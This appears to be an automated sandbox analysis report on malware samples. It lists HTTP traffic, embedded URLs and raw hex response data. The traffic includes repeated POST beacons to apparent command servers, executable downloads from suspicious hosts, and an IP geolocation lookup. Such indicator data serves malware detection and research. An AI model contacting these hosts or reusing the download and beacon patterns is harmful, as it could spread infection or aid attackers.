Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fbmqj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 236Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gngex.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: GET /slov.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: beijaflor.nu
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fwmkph.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://plpnmw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://npwrv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 241Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yeucvw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 143Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wpkjhnji.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 232Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://yanua.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xsfkvoxx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 298Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lsklhonuxd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lqudckqay.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 121Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dwkjstnxy.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 304Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: GET /hp8/g1/rtst1051.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: stylesheet.faseaegasdfase.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://guudony.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 196Host: linislominyt11.at
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: ip-api.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vyvajdnb.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 313Host: ilabonjsnmwiy.top
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST /check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615 HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Content-Length: 508Host: www.hhiuew33.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fhcvttjp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 237Host: ilabonjsnmwiy.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ngwdajhq.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 193Host: ilabonjsnmwiy.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mxkkusd.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 330Host: ilabonjsnmwiy.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ovkeyxgom.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 289Host: ilabonjsnmwiy.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://skkembj.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 294Host: ilabonjsnmwiy.top

Source: Joe Sandbox View

ASN Name: ENZUINC-US ENZUINC-US

Source: Joe Sandbox View	IP Address: 85.209.157.230 85.209.157.230
Source: Joe Sandbox View	IP Address: 85.209.157.230 85.209.157.230

Source: unknown

Network traffic detected: IP country count 11

Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCodeSigningCA-1.crt0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: D3F7.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://crl3.digicert.com/assured-cs-g1.crl00
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://crl4.digicert.com/assured-cs-g1.crl0L
Source: 4962.exe, 00000024.00000002.566561290.00000000004A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/
Source: 4962.exe, 00000024.00000003.509041869.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.511147463.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com:80/json/
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0L
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: 4962.exe, 00000024.00000002.756816320.0000000000514000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.520638160.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/
Source: 4962.exe, 00000024.00000003.520638160.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/6SevI8
Source: 4962.exe, 00000024.00000003.519464111.0000000000518000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.520552547.0000000000518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/_
Source: 4962.exe, 00000024.00000003.520838720.00000000004E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615
Source: 4962.exe, 00000024.00000003.520552547.0000000000518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615OXDN5Raoj
Source: 4962.exe, 00000024.00000003.520552547.0000000000518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615nal
Source: 4962.exe, 00000024.00000003.520552547.0000000000518000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615y7oOiZvd
Source: 4962.exe, 00000024.00000003.522038582.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615z5yVs4jw
Source: 4962.exe, 00000024.00000003.520638160.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safe
Source: 4962.exe, 00000024.00000003.520838720.00000000004E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safe(
Source: 4962.exe, 00000024.00000002.671153996.00000000004E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safeWGH
Source: 4962.exe, 00000024.00000002.671153996.00000000004E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safep
Source: 4962.exe, 00000024.00000002.560924492.000000000048B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/saferogram
Source: 4962.exe, 00000024.00000003.520838720.00000000004E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/check/safeuZKWa6qx4ffi29puEb
Source: 4962.exe, 00000024.00000002.756816320.0000000000514000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com/s
Source: 4962.exe, 00000024.00000002.606559086.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.523178167.00000000004C3000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.522597092.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/?sid=1450053&key=a8b371419d7e81141f9fd04a431ed615
Source: 4962.exe, 00000024.00000002.606559086.00000000004C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.com:80/check/safePv
Source: 4962.exe, 00000024.00000003.523159984.00000000004B2000.00000004.00000020.00020000.00000000.sdmp, 4962.exe, 00000024.00000003.522533878.00000000004B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.hhiuew33.coww.hhiuew33.com/
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://www.vmware.com/0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: http://www.vmware.com/0/
Source: 39AF.exe, 00000028.00000002.524326066.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://v.xyzgamev.com/logo.pnghttps://v.xyzgamev.com/%d.htmlhttps://v.xyzgamev.com/31.html
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: 151.exe.3.dr, D3F7.exe.3.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown

DNS traffic detected: queries for: monsutiur4.com

Source: global traffic	HTTP traffic detected: GET /upload/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: amrhomedecor.com
Source: global traffic	HTTP traffic detected: GET /upload/index.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: www.amrhomedecor.com
Source: global traffic	HTTP traffic detected: GET /gamexyz/31/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: i.xyzgamei.com
Source: global traffic	HTTP traffic detected: GET /gamexyz/31/dd428b313f4ff686a4a5b5cd7dc34a50.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: b.game2723.com
Source: global traffic	HTTP traffic detected: GET /31.html HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: v.xyzgamev.com
Source: global traffic	HTTP traffic detected: GET /slov.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: beijaflor.nu
Source: global traffic	HTTP traffic detected: GET /hp8/g1/rtst1051.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: stylesheet.faseaegasdfase.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /check/safe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Host: www.hhiuew33.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:33:51 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 19 00 00 00 1d 3d 5a e6 71 20 3c 60 7e 45 e7 de bd d8 f7 26 6f 18 c8 43 85 0c 81 a1 55 00 37 ca 03 00 34 6f 8a 38 01 00 00 00 02 00 9c 03 00 00 0b c7 2c d9 be ef eb d2 bd 2e c3 67 08 06 02 00 40 eb c6 2e f0 6e ee d7 e9 bd f9 83 e3 fa 59 39 e6 76 88 b3 a1 01 bf 7d 48 17 e1 72 38 42 66 6e fd db 9f 15 05 ab 70 0b d5 82 12 70 ec e7 c1 ff 16 2a 96 7d 51 48 1f fa dc 42 85 ec 43 68 33 db 77 1e 9a 81 29 70 b3 46 06 9e d1 12 e5 06 3e 74 24 f7 32 37 ee ba 23 ee f5 6b fa 15 25 df 9d 08 31 c3 f6 6e 7e f5 e8 b0 59 f7 78 c7 30 68 85 3b 23 5d 01 09 b8 6e c2 17 d7 33 60 0a 44 17 75 7e 1d 99 98 81 c4 1d 96 cd ff 9e f8 ea 68 1f 79 de e5 d7 07 69 9e cc 31 79 ad 23 2e ad be cb 30 ab 72 a9 fd bb d6 02 59 9c 8d 4d eb 6b 0e cf fe 5e 64 99 f6 34 66 48 3d f7 db ec ea 8a c8 ff 70 a6 cb d4 20 6e 0c 06 d6 a0 00 66 2f c9 4a 1c 54 f7 d9 91 47 37 d3 64 d7 c1 c0 72 f1 05 fd b0 80 3d 13 24 a6 91 f2 1a 01 ce 40 9f ff 96 7f 28 5f fa 98 f2 5b e9 1e c2 1a 23 de bb 50 bc 7c 3d 59 f4 87 43 79 1d 39 c9 7a 61 c9 02 34 15 01 74 7d a9 05 84 bb 61 ce 24 5a ba ec 10 aa 1b d2 c0 09 15 16 f9 9f 57 cc 0e 41 fd a7 12 6b a3 c0 1c 33 ba 1a 5d 3f ac 4d 0a 15 b0 68 2b a1 af c5 fd 75 58 fb 96 a7 88 32 2e fa c8 53 43 96 d9 1c 94 e7 e7 89 44 aa bb 53 50 cb a4 b7 49 c6 9f a4 1f d4 da b3 cb ac 66 84 6f 45 b0 71 fa 9c 7b 5d 83 cb ad 6b 12 db 6e 53 62 1c 71 69 87 b6 43 b4 c9 eb c1 30 85 5b d6 06 3f bf 50 a3 4d eb 4b 22 f7 6a 71 15 37 47 4c ff 29 7f 81 ec d0 04 92 bb fd 3d f7 d9 5c b2 13 60 c7 b2 d4 db e1 60 43 83 27 90 b4 9a 69 ec d8 fd fe 0f 77 ac 28 6b dc 47 8b a5 0f c9 f6 de 42 74 d4 ce 4f 65 3f 31 fe 7e a7 db 55 a4 8f c1 bd 29 5a e3 96 99 24 71 dd 67 7f cf 4e 85 88 08 b0 7d a3 11 c5 33 58 68 96 3a c4 ae 68 f7 db f3 e0 98 ac 93 f8 17 55 8c d0 cd 54 3f 64 70 5c 23 ae b5 39 8f f2 13 23 0b a1 50 b9 8a 34 e5 4a 2e da 9e 1c b4 62 fc 53 d7 03 98 df ef d9 93 f4 26 07 44 37 ad 17 4e 47 5a ec 23 37 56 34 9b 05 0a 67 9a b5 fe 79 c4 ec 97 d1 f8 7e 96 1f c8 a9 f8 3c 17 66 84 2a fc c6 57 50 82 d5 e8 a1 74 bf 71 bf 36 54 94 86 a9 62 40 1d b8 f1 f1 77 aa 36 4b 89 de b7 01 a1 0b d8 7f cd 37 49 8b b1 11 44 0d b6 70 7d dc 33 66 8c ac d5 87 27 bd e6 d8 d2 26 60 17 47 58 3f bc 42 bb 56 3c f9 ce 8b 2a eb 95 78 bd ae db 35 ac 35 d4 bc 24 3a 8a 21 95 db 9e 9a 2d 00 53 6b 8c c5 e4 10 ae 5e f2 06 40 6e 5c 72 aa 78 ea 25 ed 76 40 15 bb 8e 0e 97 6d 57 87 ae f9 32 7f f6 f8 f5 d2 ea 62 b0 bf 0d a0 93 5e a1 e5 c6 61 dd 49 29 77 d2 dd e1 24 96 1d c0 31 b3 99 25 9a 65 af 6f 6b ad 68 ec 4c 33 30 f8 e5 c5 76 45 98 2f a2 ae ab 3d 11 59 6c 44 8d b2 7b f4 67 b9 9b 37 da 06 41 48 04 b0 22 6f 4c 8e 73 38 51 b0 be 92 30 ff a0 26 51 6b 9d d0 df 69 97 46 7d a5 2e 81 e7 61 fa 7c 75 a1 71 3f 7a f0 cb ab ff 70 ad c3 2a 29 db 6f 97 d0 d4 90 61 97 13 f0 7f 9c 83 c7 48 1e ef 26 f1 d4 14 3f 17 26 da f9 60 de ac 18 d5 20 aa 5b 54 47 8f 5f f9 bd 6d cd 7c 9d d3 78 7f 38 6e da ed 6d 1f 99 0f e0 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:33:54 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1f 90 18 db 55 d4 fa 0f b1 67 ff 3f 0a 4a 3b ff 70 4a 61 94 5d Data Ascii: Uys/~(`:Ug?J;pJa]
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:34:01 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Wed, 31 Aug 2022 06:34:01 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 1d 8f e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 69 c7 e1 65 70 58 f7 0c dc 08 0c c0 00 9b d0 03 91 30 e5 23 f9 a5 3d 0a 02 84 69 80 97 6b d6 c3 33 5f 92 b4 92 43 b2 b4 1b ce 5f cd b7 69 b4 0e 9e 04 5f 8e fb 3a d8 d8 c8 b0 8e 2c 25 e2 3e b3 e7 00 b7 56 64 aa a8 a5 f2 b7 b4 aa 40 09 fc 20 7f 23 90 40 e0 7e bd ba a1 69 78 ce e2 7d ee aa 31 20 74 cb a1 63 2e f0 71 d7 21 7d 21 5b b6 a3 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 28 c8 55 db 88 0c 14 13 31 4e ef f1 24 08 4f c5 03 a1 cb a1 81 7e dc f4 62 b8 17 37 7e 57 a4 9a a5 d0 ca a0 c1 b9 dd 7a 47 bf 4e 19 e0 3c 95 a9 18 3a fe 96 be 25 11 61 9a c4 3e 7c 88 2a c8 48 6d a1 c0 4a 9a 03 fd ec 98 aa 7b ac 87 2f bd 61 0d 30 53 bf 46 30 fd f8 9f e7 3d 6c 2b 7c 4a 0c c7 fd f4 0e a4 fb 7e 71 eb 80 e5 1a 68 8b 4a d8 19 ae cc 4f 2b 79 82 ae 9c 97 02 4c 75 56 ad f3 4b 79 24 b9 4e ee cc 23 b2 15 00 31 f4 97 90 f7 df f5 ec e7 72 2b 4c 80 d0 94 f7 13 03 44 bb d6 af 41 32 27 20 0b b7 9f 43 00 c0 46 e1 48 15 ac af eb d9 55 3d af ba 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 66 e7 ac 04 a0 4c 4e 40 37 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 70 1c 51 90 72 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 8e b7 1b 6f c3 cb 29 1c 5c 82 23 6a 54 ab 1e 9f 7a 1a ee c3 de 57 a3 4c 15 8e 1f d4 58 68 91 9c 29 06 f1 2c 5e ae 03 5b e5 1f e4 86 7d 10 ff 3e cb bd d1 ed 66 99 8a 59 d7 7d 74 79 70 66 43 cc 8d 89 8b e1 6e 71 d7 9c 88 c3 e0 2b a9 b4 bb 01 7a 17 28 92 ae 46 5f fe c5 cb 0e ee f6 6b e3 05 07 d9 37 00 e0 ee 1c c9 9e f5 52 48 84 37 96 4d cb e7 17 3f dc e5 7e 4d a6 70 d4 43 eb ac 58 58 07 6b ab f6 ae 25 2e b2 9b ce ec 35 d8 cd a7 0d a6 ca d4 5f d7 4e 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 81 c4 a1 73 0b 4d ea ca a5 